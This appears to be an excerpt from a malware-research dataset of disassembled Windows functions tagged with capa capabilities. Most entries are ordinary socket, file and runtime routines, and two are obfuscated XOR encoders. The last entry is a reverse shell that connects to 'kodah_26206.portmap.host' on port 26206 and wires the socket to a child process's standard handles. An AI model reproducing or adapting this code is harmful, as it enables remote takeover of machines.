joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1800e87c0
Capabilities:
Read file on windows

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x38
mov rsi, rcx
mov rdx, qword [rcx]
mov rcx, qword [rcx + 8]
mov rdi, qword [rsi + 0x10]
mov rbx, qword [rsi + 0x20]
mov r14, qword [rsi + 0x18]
mov ebp, 0xffffffff
lea r15, [rsp + 0x34]
mov r13, qword [sym.imp.kernel32.dll_ReadFile]
jmp 0x1800e881d
mov r12d, dword [rsp + 0x34]
mov edx, 2
test r12, r12
je 0x1800e8967
mov qword [rsi], rdx
mov qword [rsi + 8], r12
mov rcx, r12
cmp rdx, 2
je 0x1800e88b0
cmp rdx, 1
jne 0x1800e8860
mov dword [rsp + 0x30], 0
mov rcx, rbx
mov rdx, rdi
lea r8, [rsp + 0x30]
mov r9d, 1
call qword [sym.imp.kernel32.dll_GetOverlappedResult]
test eax, eax
je 0x1800e8866
mov ecx, dword [rsp + 0x30]
jmp 0x1800e88b0
mov rdx, qword [r14 + 0x10]
jmp 0x1800e88cb
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov rdx, rax
movabs rcx, 0xffffffff00000000
and rdx, rcx
movabs rcx, 0x6d00000000
cmp rdx, rcx
je 0x1800e88ac
mov ecx, 0
movabs r8, 0x2600000000
cmp rdx, r8
je 0x1800e88b0
jmp 0x1800e8969
xor ecx, ecx
nop
mov qword [rsi], 0
mov rdx, qword [r14 + 0x10]
add rdx, rcx
mov qword [r14 + 0x10], rdx
test rcx, rcx
je 0x1800e8967
mov r8, qword [r14]
cmp r8, rdx
je 0x1800e8923
sub r8, rdx
add rdx, qword [r14 + 8]
cmp r8, rbp
cmovae r8, rbp
mov dword [rsp + 0x34], 0
mov qword [rsp + 0x20], rdi
mov rcx, rbx
mov r9, r15
call r13
test eax, eax
jne 0x1800e8800
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
mov edx, 1
movabs rcx, 0x3e500000000
cmp rax, rcx
je 0x1800e8813
jmp 0x1800e8958
test rdx, rdx
mov r8d, 1
mov eax, 0x10
cmove r8, rax
mov qword [rsp + 0x20], 1
mov r9d, 1
mov rcx, r14
call fcn.18011a400
mov r8, qword [r14]
mov rdx, qword [r14 + 0x10]
jmp 0x1800e88d3
movabs rcx, 0x6d00000000
cmp rax, rcx
jne 0x1800e897a
xor eax, eax
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
or rax, 2
jmp 0x1800e8969

Function at 0x1800e8a70
Capabilities:
Create thread

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x38
mov rbx, r8
mov r14, rdx
mov rdi, rcx
movzx eax, byte [0x180173750]
mov ecx, 0x10
mov edx, 8
call fcn.180094f80
test rax, rax
je 0x1800e8b39
mov rsi, rax
mov qword [rax], r14
mov qword [rax + 8], rbx
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x10000
lea r8, [0x1800e8b50]
xor ebx, ebx
xor ecx, ecx
mov rdx, rdi
mov r9, rax
call qword [sym.imp.kernel32.dll_CreateThread]
mov rdx, rax
test rax, rax
jne 0x1800e8b2c
mov rdi, qword [rsi]
mov rbx, qword [rsi + 8]
mov rax, qword [rbx]
test rax, rax
je 0x1800e8aef
mov rcx, rdi
call rax
mov rdx, qword [rbx + 8]
test rdx, rdx
je 0x1800e8b04
mov r8, qword [rbx + 0x10]
mov rcx, rdi
call fcn.180094f90
mov edx, 0x10
mov r8d, 8
mov rcx, rsi
call fcn.180094f90
call qword [sym.imp.kernel32.dll_GetLastError]
mov edx, eax
shl rdx, 0x20
or rdx, 2
mov ebx, 1
mov rax, rbx
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
ret
mov ecx, 8
mov edx, 0x10
call fcn.1800c8ec0
int3
Function at 0x1800ea390
Capabilities:
Set socket configuration

Disassembly:
cmp qword [rcx + 0x18], 0xffffffffffffffff
je 0x1800ca370
add rcx, 0x18
jmp 0x1800dc290
ud2
jmp 0x1800ea390
sub rsp, 0x38
movzx eax, dl
mov rcx, qword [rcx]
mov dword [rsp + 0x34], eax
mov dword [rsp + 0x20], 4
lea r9, [rsp + 0x34]
mov edx, 6
mov r8d, 1
call qword [sym.imp.ws2_32.dll_setsockopt]
cmp eax, 0xffffffff
je 0x1800ea3c8
xor eax, eax
add rsp, 0x38
ret
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
shl rax, 0x20
or rax, 2
add rsp, 0x38
ret

Function at 0x1800ea3e0
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub rsp, 0x28
mov rcx, qword [rcx]
cmp r8, 0x7fffffff
mov eax, 0x7fffffff
cmovae r8, rax
xor r9d, r9d
call qword [sym.imp.ws2_32.dll_recv]
cmp eax, 0xffffffff
je 0x1800ea412
movsxd rdx, eax
xor ecx, ecx
mov rax, rcx
add rsp, 0x28
ret
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
xor edx, edx
mov ecx, 0
cmp eax, 0x274a
je 0x1800ea40a
shl rax, 0x20
or rax, 2
mov ecx, 1
mov rdx, rax
mov rax, rcx
add rsp, 0x28
ret

Function at 0x1800ea440
Capabilities:
Send data
Send data on socket

Disassembly:
sub rsp, 0x28
cmp r8, 0x7fffffff
mov eax, 0x7fffffff
cmovae r8, rax
mov rcx, qword [rcx]
xor r9d, r9d
call qword [sym.imp.ws2_32.dll_send]
cmp eax, 0xffffffff
je 0x1800ea46f
movsxd rdx, eax
xor eax, eax
add rsp, 0x28
ret
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
mov edx, eax
shl rdx, 0x20
or rdx, 2
mov eax, 1
add rsp, 0x28
ret

Function at 0x1800ea490
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub rsp, 0x28
mov rax, qword [rcx]
mov rcx, qword [rax]
cmp r8, 0x7fffffff
mov eax, 0x7fffffff
cmovae r8, rax
xor r9d, r9d
call qword [sym.imp.ws2_32.dll_recv]
cmp eax, 0xffffffff
je 0x1800ea4c5
movsxd rdx, eax
xor ecx, ecx
mov rax, rcx
add rsp, 0x28
ret
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
xor edx, edx
mov ecx, 0
cmp eax, 0x274a
je 0x1800ea4bd
shl rax, 0x20
or rax, 2
mov ecx, 1
mov rdx, rax
mov rax, rcx
add rsp, 0x28
ret

Function at 0x1800ea500
Capabilities:
Send data
Send data on socket

Disassembly:
sub rsp, 0x28
mov rax, qword [rcx]
cmp r8, 0x7fffffff
mov ecx, 0x7fffffff
cmovae r8, rcx
mov rcx, qword [rax]
xor r9d, r9d
call qword [sym.imp.ws2_32.dll_send]
cmp eax, 0xffffffff
je 0x1800ea532
movsxd rdx, eax
xor eax, eax
add rsp, 0x28
ret
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
mov edx, eax
shl rdx, 0x20
or rdx, 2
mov eax, 1
add rsp, 0x28
ret
Function at 0x1800ecbf0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x68
mov rsi, r9
mov rbx, r8
mov rdi, rcx
mov rax, qword [rdx]
mov r8, qword [rdx + 8]
mov rcx, r9
mov rdx, rax
call fcn.1800e5f40
cmp byte [rbx], 0
jne 0x1800ecc32
lea rdx, str.exe.NULcmd.exemaximum_number_of_ProcThreadAttributes_exceeded
mov r8d, 3
mov rcx, rsi
call fcn.1800e68e0
movabs r15, 0x8000000000000000
mov rdx, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
lea rcx, [rsp + 0x38]
call fcn.1800df650
mov rax, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
cmp rax, r15
je 0x1800ecc93
mov rcx, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], rcx
lea rcx, [rsp + 0x20]
lea rdx, [rsp + 0x50]
call fcn.1800f53c0
mov r14, qword [rsp + 0x20]
mov rbx, qword [rsp + 0x28]
cmp r14, r15
jne 0x1800ecd20
mov eax, ebx
and eax, 3
lea rcx, [rax - 2]
cmp rcx, 2
jb 0x1800eccea
test rax, rax
je 0x1800eccea
mov r14, qword [rbx - 1]
mov r12, qword [rbx + 7]
mov rax, qword [r12]
test rax, rax
je 0x1800eccbd
mov rcx, r14
call rax
dec rbx
mov rdx, qword [r12 + 8]
test rdx, rdx
je 0x1800eccd7
mov r8, qword [r12 + 0x10]
mov rcx, r14
call fcn.180094f90
mov edx, 0x18
mov r8d, 8
mov rcx, rbx
call fcn.180094f90
mov qword [rdi], r15
mov rdx, qword [rsi]
test rdx, rdx
je 0x1800ecd11
mov rcx, qword [rsi + 8]
mov r8d, 1
add rsp, 0x68
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
jmp fcn.180094f90
nop
add rsp, 0x68
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
mov r12, qword [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1800ecd40
mov qword [rdi], r14
mov qword [rdi + 8], rbx
mov qword [rdi + 0x10], r12
jmp 0x1800ecced
mov qword [rdi], r15
test r14, r14
je 0x1800ecced
add r14, r14
mov r8d, 2
mov rcx, rbx
mov rdx, r14
call fcn.180094f90
jmp 0x1800ecced
Function at 0x1800ecd60
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x70
mov rsi, rcx
movabs r14, 0x8000000000000000
lea rcx, [rsp + 0x40]
call fcn.1800df650
mov rax, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
cmp rax, r14
je 0x1800ecdc3
mov rcx, qword [rsp + 0x50]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], rcx
lea rcx, [rsp + 0x28]
lea rdx, [rsp + 0x58]
call fcn.1800f53c0
mov rbx, qword [rsp + 0x28]
mov rdi, qword [rsp + 0x30]
cmp rbx, r14
jne 0x1800ece29
mov eax, edi
and eax, 3
lea rcx, [rax - 2]
cmp rcx, 2
jb 0x1800ece17
test rax, rax
je 0x1800ece17
mov rbx, qword [rdi - 1]
mov r15, qword [rdi + 7]
mov rax, qword [r15]
test rax, rax
je 0x1800ecdec
mov rcx, rbx
call rax
dec rdi
mov rdx, qword [r15 + 8]
test rdx, rdx
je 0x1800ece04
mov r8, qword [r15 + 0x10]
mov rcx, rbx
call fcn.180094f90
mov edx, 0x18
mov r8d, 8
mov rcx, rdi
call fcn.180094f90
mov qword [rsi], r14
mov rax, rsi
add rsp, 0x70
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
mov r15, qword [rsp + 0x38]
mov rcx, rdi
call qword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1800ece49
mov qword [rsi], rbx
mov qword [rsi + 8], rdi
mov qword [rsi + 0x10], r15
jmp 0x1800ece1a
mov qword [rsi], r14
test rbx, rbx
je 0x1800ece1a
add rbx, rbx
mov r8d, 2
mov rcx, rdi
mov rdx, rbx
call fcn.180094f90
jmp 0x1800ece1a

Function at 0x1800ede60
Capabilities:
Read file on windows

Disassembly:
push rsi
sub rsp, 0xb0
mov rsi, rcx
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0x70], r9
lea rcx, [rsp + 0x78]
mov qword [rsp + 0x78], rax
movups xmm0, xmmword [0x18012b688]
mov eax, 0xffffffff
cmp r8, rax
cmovb rax, r8
movaps xmmword [rsp + 0x60], xmm0
test r9, r9
cmove rcx, r9
mov qword [rsp + 0x38], rcx
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rdx
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x40], 0
mov rcx, rsi
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtReadFile]
cmp eax, 0x103
jne 0x1800edeec
mov rcx, rsi
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
mov eax, dword [rsp + 0x60]
xor edx, edx
mov ecx, 0
cmp eax, 0xc0000011
je 0x1800edf25
cmp eax, 0x103
je 0x1800edf31
test eax, eax
js 0x1800edf0e
mov rdx, qword [rsp + 0x68]
xor ecx, ecx
jmp 0x1800edf25
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
mov edx, eax
shl rdx, 0x20
or rdx, 2
mov ecx, 1
mov rax, rcx
add rsp, 0xb0
pop rsi
ret
mov dword [rsp + 0x58], 0
mov byte [rsp + 0x5c], 0
lea rax, str.fatal_runtime_error:_I_O_error:_operation_failed_to_complete_synchronously_n
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 1
lea rax, [rsp + 0x50]
mov qword [rsp + 0x90], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x98], xmm0
lea rcx, [rsp + 0x58]
lea rdx, [rsp + 0x80]
call fcn.1800f5e10
mov rcx, rax
call fcn.1800e1440
mov ecx, 7
int 0x29
ud2
Function at 0x1800edfa0
Capabilities:
Write file on windows

Disassembly:
push rsi
sub rsp, 0xb0
mov rsi, rcx
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0x70], r9
lea rcx, [rsp + 0x78]
mov qword [rsp + 0x78], rax
movups xmm0, xmmword [0x18012b688]
mov eax, 0xffffffff
cmp r8, rax
cmovb rax, r8
movaps xmmword [rsp + 0x60], xmm0
test r9, r9
cmove rcx, r9
mov qword [rsp + 0x38], rcx
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rdx
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x40], 0
mov rcx, rsi
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtWriteFile]
cmp eax, 0x103
jne 0x1800ee033
mov rcx, rsi
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
mov eax, dword [rsp + 0x60]
cmp eax, 0x103
je 0x1800ee067
test eax, eax
js 0x1800ee047
mov rdx, qword [rsp + 0x68]
xor eax, eax
add rsp, 0xb0
pop rsi
ret
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
mov edx, eax
shl rdx, 0x20
or rdx, 2
mov eax, 1
add rsp, 0xb0
pop rsi
ret
mov dword [rsp + 0x58], 0
mov byte [rsp + 0x5c], 0
lea rax, str.fatal_runtime_error:_I_O_error:_operation_failed_to_complete_synchronously_n
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 1
lea rax, [rsp + 0x50]
mov qword [rsp + 0x90], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x98], xmm0
lea rcx, [rsp + 0x58]
lea rdx, [rsp + 0x80]
call fcn.1800f5e10
mov rcx, rax
call fcn.1800e1440
mov ecx, 7
int 0x29
ud2
Function at 0x1800f2730
Capabilities:
Create udp socket

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x38
mov edi, edx
cmp word [rcx], 0
mov eax, 2
mov ebx, 0x17
cmove ebx, eax
mov dword [rsp + 0x28], 0x81
mov dword [rsp + 0x20], 0
xor r14d, r14d
mov ecx, ebx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ws2_32.dll_WSASocketW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x1800f2805
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
cmp eax, 0x2739
je 0x1800f2790
mov esi, eax
cmp eax, 0x2726
jne 0x1800f27f7
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 0
mov ecx, ebx
mov edx, edi
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ws2_32.dll_WSASocketW]
cmp rax, 0xffffffffffffffff
je 0x1800f27ef
mov rsi, rax
xor r14d, r14d
mov rcx, rax
mov edx, 1
xor r8d, r8d
call qword [sym.imp.kernel32.dll_SetHandleInformation]
test eax, eax
jne 0x1800f2805
call qword [sym.imp.kernel32.dll_GetLastError]
mov edi, eax
shl rdi, 0x20
or rdi, 2
mov rcx, rsi
call qword [sym.imp.ws2_32.dll_closesocket]
mov rsi, rdi
jmp 0x1800f27ff
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
mov esi, eax
shl rsi, 0x20
or rsi, 2
mov r14d, 1
mov rax, r14
mov rdx, rsi
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
ret
Function at 0x1800f2820
Capabilities:
Resolve dns

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x218
mov r14, r8
mov rdi, rdx
mov rsi, rcx
mov rbx, r8
jmp 0x1800f2845
cmp rbx, r14
ja 0x1800f2871
mov cl, 0x3a
mov rdx, rdi
mov r8, rbx
call fcn.1800fefa0
cmp rax, 1
jne 0x1800f286c
mov rbx, rdx
cmp rdx, r14
jae 0x1800f2840
cmp byte [rdi + rbx], 0x3a
jne 0x1800f2840
lea rcx, [rbx + 1]
jmp 0x1800f287d
test rax, rax
jne 0x1800f287d
lea rax, str.invalid_socket_address
jmp 0x1800f2906
sub r14, rcx
add rcx, rdi
mov rdx, r14
call fcn.1800ff650
test al, 1
jne 0x1800f28ff
shr eax, 0x10
mov word [rsp + 0x36], ax
mov eax, dword [0x180173820]
cmp eax, 3
jne 0x1800f2997
lea rax, [rsp + 0x36]
mov qword [rsp + 0x40], rax
cmp rbx, 0x17f
ja 0x1800f29ba
lea r14, [rsp + 0x98]
mov rcx, r14
mov rdx, rdi
mov r8, rbx
call fcn.180116940
mov byte [rsp + rbx + 0x98], 0
inc rbx
lea rcx, [rsp + 0x48]
mov rdx, r14
mov r8, rbx
call fcn.180104490
cmp qword [rsp + 0x48], 0
je 0x1800f2921
lea rax, str.file_name_contained_an_unexpected_NUL_byte
jmp 0x1800f2906
lea rax, str.invalid_port_value
mov qword [rsi + 8], rax
mov qword [rsi], 1
mov rax, rsi
add rsp, 0x218
pop rbx
pop rdi
pop rsi
pop r14
ret
mov rcx, qword [rsp + 0x50]
xorps xmm0, xmm0
movaps xmmword [rsp + 0x60], xmm0
movaps xmmword [rsp + 0x80], xmm0
movaps xmmword [rsp + 0x70], xmm0
mov dword [rsp + 0x68], 1
mov qword [rsp + 0x38], 0
lea r8, [rsp + 0x60]
lea r9, [rsp + 0x38]
xor edx, edx
call qword [sym.imp.ws2_32.dll_getaddrinfo]
test eax, eax
je 0x1800f2977
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
shl rax, 0x20
or rax, 2
mov ecx, 1
jmp 0x1800f298b
mov rax, qword [rsp + 0x38]
movzx ecx, word [rsp + 0x36]
mov qword [rsi + 0x10], rax
mov word [rsi + 0x18], cx
xor ecx, ecx
mov qword [rsi + 8], rax
mov qword [rsi], rcx
jmp 0x1800f2911
lea rcx, [0x180173818]
call fcn.18011d220
lea rax, [rsp + 0x36]
mov qword [rsp + 0x40], rax
cmp rbx, 0x17f
jbe 0x1800f28bd
lea rax, [0x18012c470]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x40]
mov rcx, rsi
mov rdx, rdi
mov r8, rbx
call fcn.18011d4b0
jmp 0x1800f2911
Function at 0x18010d4ac
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x18010d51b
xor ecx, ecx
call qword [sym.imp.kernel32.dll_GetModuleHandleW]
test rax, rax
je 0x18010d51b
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x18010d51b
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x18010d51b
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x18010d51b
cmp dword [rcx + 0x84], 0xe
jbe 0x18010d51b
cmp dword [rcx + 0xf8], 0
je 0x18010d51b
mov ecx, ebx
call fcn.18010d5cc
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.18010d3a8
nop
cmp dword [rbp + 0x20], 0
je 0x18010d569
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.18010d574
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x18010d4ac
Function at 0x180110cb0
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.kernel32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x180110ce0
xor eax, eax
jmp 0x180110da3
mov rbp, rbx
cmp word [rax], si
je 0x180110d05
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x180110cec
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x180110ce8
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.180110bd0
movsxd r14, eax
test eax, eax
jne 0x180110d43
mov rcx, rbx
call qword [sym.imp.kernel32.dll_FreeEnvironmentStringsW]
jmp 0x180110cd9
mov rcx, r14
call fcn.18010e274
mov rdi, rax
test rax, rax
jne 0x180110d5c
xor ecx, ecx
call fcn.18010e2d4
jmp 0x180110d38
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.180110bd0
test eax, eax
jne 0x180110d8d
mov rcx, rdi
call fcn.18010e2d4
jmp 0x180110d97
xor ecx, ecx
call fcn.18010e2d4
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.kernel32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x180116440
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x180116468
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x180116468
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret

Function at 0x18011ce50
Capabilities:
Link many functions at runtime

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rcx, [0x1801296bd]
call qword [sym.imp.kernel32.dll_GetModuleHandleA]
test rax, rax
je 0x18011cea5
mov rdi, rax
lea rdx, [0x1801296de]
mov rcx, rax
call qword [sym.imp.kernel32.dll_GetProcAddress]
test rax, rax
je 0x18011cea5
mov rsi, rax
lea rdx, [0x1801296ec]
mov rcx, rdi
call qword [sym.imp.kernel32.dll_GetProcAddress]
test rax, rax
je 0x18011cea5
mov r14, rax
xor edi, edi
jmp 0x18011cf2d
lea rcx, [0x180129678]
call qword [sym.imp.kernel32.dll_GetModuleHandleA]
test rax, rax
je 0x18011cf99
mov rsi, rax
lea rdx, str.NtCreateKeyedEvent
mov rcx, rax
call qword [sym.imp.kernel32.dll_GetProcAddress]
test rax, rax
je 0x18011cf99
mov rbx, rax
lea rdx, str.NtReleaseKeyedEvent
mov rcx, rsi
call qword [sym.imp.kernel32.dll_GetProcAddress]
test rax, rax
je 0x18011cf99
mov rdi, rax
lea rdx, str.NtWaitForKeyedEvent
mov rcx, rsi
call qword [sym.imp.kernel32.dll_GetProcAddress]
test rax, rax
je 0x18011cf99
mov rsi, rax
lea rcx, [rsp + 0x20]
mov edx, 0xc0000000
xor r8d, r8d
xor r9d, r9d
call rbx
test eax, eax
jne 0x18011cf99
mov r14, qword [rsp + 0x20]
movzx eax, byte [0x180173750]
mov ecx, 0x18
mov edx, 8
call fcn.180094f80
test rax, rax
je 0x18011cf9b
mov rbx, rax
mov qword [rax], rdi
mov qword [rax + 8], rsi
mov qword [rax + 0x10], r14
xor eax, eax
lock cmpxchg qword [0x180173798], rbx
je 0x18011cf8c
mov rsi, rax
cmp qword [rbx], 0
je 0x18011cf76
mov rcx, qword [rbx + 0x10]
call qword [sym.imp.kernel32.dll_CloseHandle]
mov edx, 0x18
mov r8d, 8
mov rcx, rbx
call fcn.180094f90
mov rbx, rsi
mov rax, rbx
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
ud2
mov ecx, 8
mov edx, 0x18
call fcn.1800c8ec0
int3
Function at 0x1401455e0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + rax - 0x7dba852a], r8
movsx r8d, al
sal rax, 0xa7
jae 0x14017d54b
call fcn.140150cf1
call fcn.1401757c6
call fcn.14016a14b
movzx bx, byte [r8]
mov ecx, 0xabc4c9a
lea rcx, [rcx + rcx*2 - 0x3e48d6df]
push rcx
mov cl, byte [rcx + r8 + 0x1e13f113]
add r8, 2
shl bl, cl
mov word [r8], bx
lea rsp, [rsp + 8]
jmp 0x140155e35
lea rax, [0x14015eb60]
mov r8d, 0x2416cb8c
movzx r8d, byte [r8 + rdx - 0x2416cb8c]
push 0x109a6fa8
xor r8d, ebp
push 0xffffffffaa0d049d
and r8d, 0xff
push 0xffffffffc4ac4415
mov r8d, dword [rax + r8*4]
sal dword [rsp], 9
shr ebp, 8
xor ebp, r8d
inc rdx
xor ebp, 0x8e8f4f95
push 0xffffffffc3025e04
dec rbx
lea rsp, [rsp + 0x20]
jne 0x14017d552
mov r8d, 0x7538a9a2
pop r8

Function at 0x140168023
Capabilities:
Encode data using xor

Disassembly:
adc r8, 0xc
xor eax, eax
test rcx, rcx
push 0x73bfc836
lea rsp, [rsp + 0x10]
je 0x140144509
mov ebx, 0xab98e1a7
or ebx, 0x419d7512
push r10
dec bx
lea r10, [0x140140740]
mov ebx, 0xf2211b86
lea rbx, [rbx + rbx*2 + 0x38b15736]
movzx ebx, byte [r9]
push 0x1011afad
dec qword [rsp]
xor ebx, eax
and ebx, 0xff
mov ebx, dword [r10 + rbx*4]
inc word [rsp + 6]
shr eax, 8
xor eax, ebx
push 0x47bf658d
inc r9
dec word [rsp + 0xa]
xor eax, 0xe2a93c30
dec rcx
lea rsp, [rsp + 0x10]
jne 0x140168056
mov r10d, 0xf01601d
call fcn.1401444fc
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rsi], dh
invalid
Function at 0x3906b13d4
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create a process with modified i/o handles and window
Create process on windows
Create tcp socket
Create udp socket
Initialize winsock library
Resolve dns

Disassembly:
push rbp
sub rsp, 0x2a0
lea rbp, [rsp + 0x80]
lea rax, str.kodah_26206.portmap.host
mov qword [rbp + 0x218], rax
lea rax, [rbp + 0x70]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 6
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_WSASocketA]
call rax
mov qword [rbp + 0x210], rax
mov rax, qword [rbp + 0x218]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_gethostbyname]
call rax
mov qword [rbp + 0x208], rax
cmp qword [rbp + 0x208], 0
jne 0x3906b147e
lea rax, str.Failed_to_resolve_hostname._n
mov rcx, rax
call sym.printf
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
jmp 0x3906b15d1
mov word [rbp + 0x60], 2
mov rax, qword [rbp + 0x208]
mov rax, qword [rax + 0x18]
mov rax, qword [rax]
mov eax, dword [rax]
mov dword [rbp + 0x64], eax
mov ecx, 0x665e
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0x62], ax
lea rdx, [rbp + 0x60]
mov rax, qword [rbp + 0x210]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_WSAConnect]
call rax
cmp eax, 0xffffffff
jne 0x3906b151c
lea rax, str.Failed_to_connect._n
mov rcx, rax
call sym.printf
mov rax, qword [rbp + 0x210]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
jmp 0x3906b15d1
lea rax, [rbp - 0x10]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp - 0x10], 0x68
mov dword [rbp + 0x2c], 0x101
mov rax, qword [rbp + 0x210]
mov qword [rbp + 0x50], rax
mov rax, qword [rbp + 0x50]
mov qword [rbp + 0x48], rax
